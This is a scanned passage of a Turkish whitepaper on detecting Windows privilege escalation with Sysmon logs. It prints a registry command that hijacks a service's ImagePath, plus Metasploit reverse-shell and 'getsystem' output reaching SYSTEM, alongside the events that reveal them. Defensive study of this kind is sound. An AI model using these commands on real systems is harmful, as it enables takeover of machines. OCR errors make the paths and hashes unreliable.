JpCode: Info

Aore Information:  Event Log Online Help

(servis ¢alistirildi)

Event ID si 3 olan kayitlara bakildiginda nt authority haklari ile saldirgana baglanti acildig
gorulir.
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General | Details

Metwork connection detected:

UtcTime: 2017-09-09 23:01:55.923

ProcessGuid: {dfebebf4-0aed-59b5-0000-00104 c882400}
Processld: 4020

Image: ChUsers\AlNDesldopup.exe

User: EM
Protocol: tep

Initiated: true

Sourcelslpvi: false

Sourcelp: 192.168.2.252
SourceHostname: WINDOWST
SourcePort: 49166
SourcePortMame:
DestinaticnlsIpvi: false
Destinaticnlp: 192.168.2.120
DestinationHostname:
DestinationPort: 4343
DestinationPortMame:

Log Mame: Microsoft-Windows-Sysmon/Operational

Source: Sysmon Logged: 9/10,/2017 12:50:33 PM

Event ID: 3 Task Category: Metwork connection detected (rul
Level: Information Keywords:

User SYSTEM Computer: WINDOWST

OpCode: Info

More Information:  Event Log Online Help

(Nt authority haklari ile 192.168.2.120 adresiyle baglanti olusturulmus)

5.2. Glvensiz Kayit Defteri Izinleri

Kayit defteri lizerinde degisiklik hakki sadece yetkili kullanicilara verilmelidir.Asagidaki 6rnekte
“GUNCELLEME” servisi icin “Authenticated Users” grubuna tam yetki verilmistir.
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ﬁ Registry Editor

File Edit View Favorites Help

fipydisk i Permissions for GUNCELLEME X
Fithgr
FontCache Security
FontCache3.0.0.0 Group or user names:
Fs_R
FSE] =€ . #2, CREATOR OWNER y
1__5’ EF:E” : A 0 thenticated LUsers
Evo = 52 SYSTEM
gagp30ke 82, Administrators (WINDOWS 7\Administrators)
gpsvc 52 Users (WINDOWS T Users)
GUMCELLEME
how85cir
HdAudAddService . o Attt (ST ==
emissions for erticate
b - HDAudBus Users Allow Deny
- HidBatt Full Cortrol -
|, HidBth iy dumm J
HidIr Sea il .
hidkseny pecial pemissions
HidUsh
hkrmsve
HomeGrouplistener For special pemissions or advanced settings, | el
HomeGroupProvider click Advanced.
HpSAMD Leam about access control and permissions
HTTP
. baanalicse r oK ] | Cancel | Apph

Computer\HKEY_LOCAL_MACHIMENSYSTERT . CurrentControlbetfservices\ GUNCELCERME

Sistemde tam yetki hakkina sahip olmayan “Ali” kullanicisi ilgili servisin ImagePath degerini
degistirerek kendi olusturdugu zararli yazilima yonlendirir.

C:\Users\Ali\Desktop>whoami
whoami
windows7\ali

C:\Users\Ali\Desktop>reg add "HKEY LOCAL MACHINE\SYSTEM\ControlSet001\Services\G

UNCELLEME" /t REG _EXPAND SZ /v ImagePath /d "C:\Users\Ali\Desktop\up.exe" /f

reg add "HKEY LOCAL MACHINE\SYSTEM\ControlSet001\Services\GUNCELLEME" /t REG EXP
AND SZ /v ImagePath /d "C:\Users\Ali\Desktop\up.exe" /f

The operation completed successfully.

C:\Users\Ali\Desktop>|

(ImagePath degistirildi)

Servis baslatildigi zaman saldirgan kendi sunucusu lizerinden hedef sistemde nt authority
haklarina ulasmis olacaktir.
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msf exploit( ) > run

[*] Started reverse TCP handler on 192.168.2.120:4343

[*] Starting the payload handler...

[*] Sending stage (957487 bytes) to 192.168.2.252

[*] Meterpreter session 13 opened (192.168.2.120:4343 -> 192.168.2.252:49179) at

2017-09-07 04:19:09 +0000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > |}

Sysmon kayitlarina bakildiginda Ali kullanicisinin cmd Uzerinden kayit defteri (zerinde
degisiklik girisimine kalkistig fark edilmektedir.

General | Details

Process Create:
UtcTime: 2017-09-10 12:05:57.726
ProcessGuid: {dfebebf4-2aa5-59b5-0000-001075561300}
Processld: 912
Image: CYWindowsh SysWOWGEL\ reg.exe
ommandLine: reg add "HEEY_LOCAL_MACHINE\SYSTEM\ ControlSetD01\Services

GUMCELLEME" /t REG_EXPAND 57 /v ImagePath /d "C\Users\Ali\Desktop'\up.exe”
CurrentDirectory: ChUsers\Al\Desktop',
User: WINDOWST\Al
LogonGuid: {dfebebf4-285e-59b5-0000-002091eb0900}
Logonld: 0:9eb91
TerminalSessionld: 2

IntegrityLevel: Medium

Hashes: MD5=D69A9ABBBID7I5F21995C2F48 C1EBSHD, SHAZ 6=

36414 CTESTAFAGL36DTTFD4TRAC55102E35F2475FBCDT19728DATD14B1 59024
ParentProcessGuid: {dfebebfd-2a2b-59b5-0000-0010a6481300}
ParentProcessld: 3744

Parentlmage: ChWindowsh SysWOW6E4\cmd.exe

ParentCommandLine: C\Windowshsystem32hcmd.exe

Log Mame: Microsoft-Windows-5Sysmon/Operational

Source: Sysmon Logged: 9/10/2017 3:05:57 PM

Event ID: 1 Task Category:  Process Create (rule: ProcessCreat
Lewvel: Information Keywords:

User: SYSTEM Computer: WINDOWST

OpCode: Info

More Information: Event Log Online Help

(cmd lzerinden degisiklik girisimi)
Kayit defteri lizerinde oturum sahibi kullanicilarin degisiklik hakki oldugu icin Ali kullanicisinin

yaptigi degisiklik kabul gorilmuistiir. Event ID nin 13 olmasi degisikligin kayit edildiginin
gostergesidir.
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General | Details

Registry value set:

EventType: SetValue

UtcTime: 2017-09-10 12:05:57 772

ProcessGuid: {dfebebfd-2aa5-59b5-0000-001075561200}

Processld: 912

Image: CAWindows\SysWOWBd\reg.exe

TargetObject: \REGISTRY\MACHIMNELSYSTEMA Control5et001 services\ GUMNCELLEME\ImagePath
Details: ChUsers\AlNDesktophup.exe

Log Mame: Microsoft-Windows-5ysmon/Operational

Source: Sysrnon Logged: 0/10/2017 3:05:57 PM

Event IC: 13 Task Categony:  Registry value set (rule: RegistryEvent)
Level: Information Keywords:

User: SYSTEM Computer: WINDOWST

OpCode: Info

Maore Information:  Event Log Online Help

(ImagePath degistirilmis)

5.3. Metasploit Getsystem Komutu

Metasploitte meterpreter oturumu elde edildikten sonra “getsystem” komutu ile hak
ylkseltmesi denenmektedir.

exploit( ) > run

] Started reverse TCP handler on 192.168.2.120:4343

] Starting the payload handler...

] Sending stage (957487 bytes) to 192.168.2.252

] Meterpreter session 14 opened (192.168.2.120:4343 -> 192.168.2.252:49341) at
017-09-07 08:15:16 +00OO

&
[i
[‘
l'#

2

meterpreter > getuid

Server username: WINDOWS7\Omer

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > |j

(getsystem ile hak yiikseltilmistir)

Sysmon ile kayitlara bakildiginda rastgele bir ifadeden olusan servis olusturulup cmd.exe ile
canlanacak sekilde baslatiimistir. Boylece cmd ye “nt authority” haklariyla erisilmistir.
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General | Details

Registry value set:

EventType: SetValue

UtcTime: 2017-09-10 19:49:07.244

ProcessGuid: {dfebebfd-2621-59b5-0000-001009 40000}

Processld: 488

Image: ChAWindows\systern32\services.exe

TargetObject: \REGISTRYV\MACHIMELSYSTEM Control5etD01\ servicesh lwovwuh Start
Details: DWORD (0:00000004)

Log Mame: Microsoft-Windows-Sysmon/Operational

Source: Sysrnon Logged: 8/10/2017 10:49:07 PM

Event ID: 13 Task Category:  Registry value set (rule: RegistryEvent)
Levek Information Keywords:

User: SYSTEM Computer: WINDOWST

OpCode: Info

More Information:  Event Log Online Help

General | Details |

Process Create:

UtcTime: 2017-09-10 19:49:07.182
ProcessGuid: {dfebebf4-9733-59b5-0000-0010899755007
Processld: 3832

Image: CWVWindowsh System3 2t cmd. exe
CommandLine: cnd.exe /¢ echo lwovwu =

. em32, -
[ User: NT AUTHORITY\SYSTEM
ogonbuid: {drebebts - = -0000-0020e7030000}

Logonld: D:3e7

TerminalSessionld: 0

IntegrityLevel: System

Hashes: MD5=5746B07E2550D6ABAFANGFT C42 C1BA41, SHAZSE
=DB06C3534964E3FCTOD2T63144BA03742D7FAZ50 CAS36F4ADFET 24BT5AAFF3EE
ParentProcessGuid: {dfebebfd-2621-59b5-0000-001009c40000}

ParentProcessid: 488

Parentlmage: C:\Windows'\Systern32\services.exe

ParentCommandLine: Ch\Windows\systern32\services.exe

Log MName: Microsoft-Windows-5Sysmon/Operational

Source: Sysmon Logged: 8/10/2017 10:49:07 PM

Event IC: 1 Task Category:  Process Create (rule: ProcessCreate)
Level: Information Keywords:

User: SYSTEM Computer WINDOWST

OpCode: Info

More Information:  Event Log Online Help
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6. Sonucg

Sysmon ile sistem Gzerindeki aktivitelerin nasil kayit altina alindigi ele alinmistir.Ayni zamanda
windows’a yonelik popiler saldirilarin sysmon ile nasil tespit edilecegi ve yorumlanacagindan
da bahsedilmistir.

KAYNAKLAR

https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
https://haveyousecured.blogspot.com.tr/2016/12/working-with-sysmon.html
https://blogs.technet.microsoft.com/motiba/2016/10/18/sysinternals-sysmon-unleashed/
http://www.bilgiguvenligi.gov.tr/sizma-testleri/pass-the-hash-saldirilari-ve-korunma-
yontemleri.html
https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-
mitigation-33283
http://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis
https://www.exploit-db.com/docs/39732.pdf

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity


http://www.bgasecurity.com/
https://twitter.com/bgasecurity
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
https://haveyousecured.blogspot.com.tr/2016/12/working-with-sysmon.html
https://blogs.technet.microsoft.com/motiba/2016/10/18/sysinternals-sysmon-unleashed/
http://www.bilgiguvenligi.gov.tr/sizma-testleri/pass-the-hash-saldirilari-ve-korunma-yontemleri.html
http://www.bilgiguvenligi.gov.tr/sizma-testleri/pass-the-hash-saldirilari-ve-korunma-yontemleri.html
https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation-33283
https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation-33283
http://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis
https://www.exploit-db.com/docs/39732.pdf

[WINDOWS SISTEMLERDE SYSMON iLE LOG ANALIZi]

BGA Bilgi Guivenligi A.S. Hakkinda

BGA Bilgi Givenligi A.S. 2008 yilindan bu yana siber glvenlik alaninda faaliyet gdstermektedir.
Ulkemizdeki bilgi glivenligi sektdriine profesyonel anlamda destek olmak amaci ile kurulan BGA Bilgi
Guvenligi, stratejik siber glivenlik danismanhgi ve glvenlik egitimleri konularinda kurumlara hizmet
vermektedir.

Uluslararasi gecerlilige sahip sertifikali 50 kisilik teknik ekibi ile, faaliyetlerini Ankara ve istanbul ve
USA’da surdiiren BGA Bilgi Guvenligi'nin ilgi alanlarini “Sizma Testleri, Giivenlik Denetimi, SOME, SOC
Danismanhgi, Acik Kaynak Siber Giivenlik Céziimleri, Biiyiik Veri Giivenlik Analizi ve Yeni Nesil Giivenlik
Coziimleri” olusturmaktadir.

Gerceklestirdigi basarili danismanlik projeleri ve egitimlerle sektorde saygin bir yer edinen BGA Bilgi
Guvenligi, kuruldugu giinden bugline alaninda lider finans, enerji, telekom ve kamu kuruluslarina
1.000'den fazla egitim ve danismanlik projeleri gerceklestirmistir.

BGA Bilgi Gulvenligi, kuruldugu 2008 yilindan beri Ulkemizde bilgi glivenligi konusundaki bilgi ve
paylasimlarin artmasi amaciile glivenlik e-posta listeleri olusturulmasi, seminerler, glivenlik etkinlikleri
dizenlenmesi, Universite 0Ogrencilerine kariyer ve bilgi saglamak icin siber glvenlik kamplari
dizenlenmesi ve sosyal sorumluluk projeleri gibi bircok konuda gonilli faaliyetlerde bulunmustur.

BGA Bilgi Giivenligi AKADEMISi Hakkinda

BGA Bilgi Glvenligi A.S.'nin egitim ve sosyal sorumluluk markasi olarak calisan Bilgi Guvenligi
AKADEMISI, siber giivenlik konusunda ticari, génillii egitimlerin diizenlenmesi ve siber giivenlik
farkindaligini arttiricr génalli faaliyetleri yiritiilmesinden sorumludur. Bilgi Givenligi AKADEMISI
markasiyla bugiine kadar “Siber Givenlik Kamplar1”, “Siber Glivenlik Staj Okulu”, “Siber Guvenlik Ar-
Ge Destek Bursu”, “Ethical Hacking yarismalari” ve “Siber Glvenlik Kiitiiphanesi” gibi bircok gondlll
faaliyetin destekleyici olmustur.
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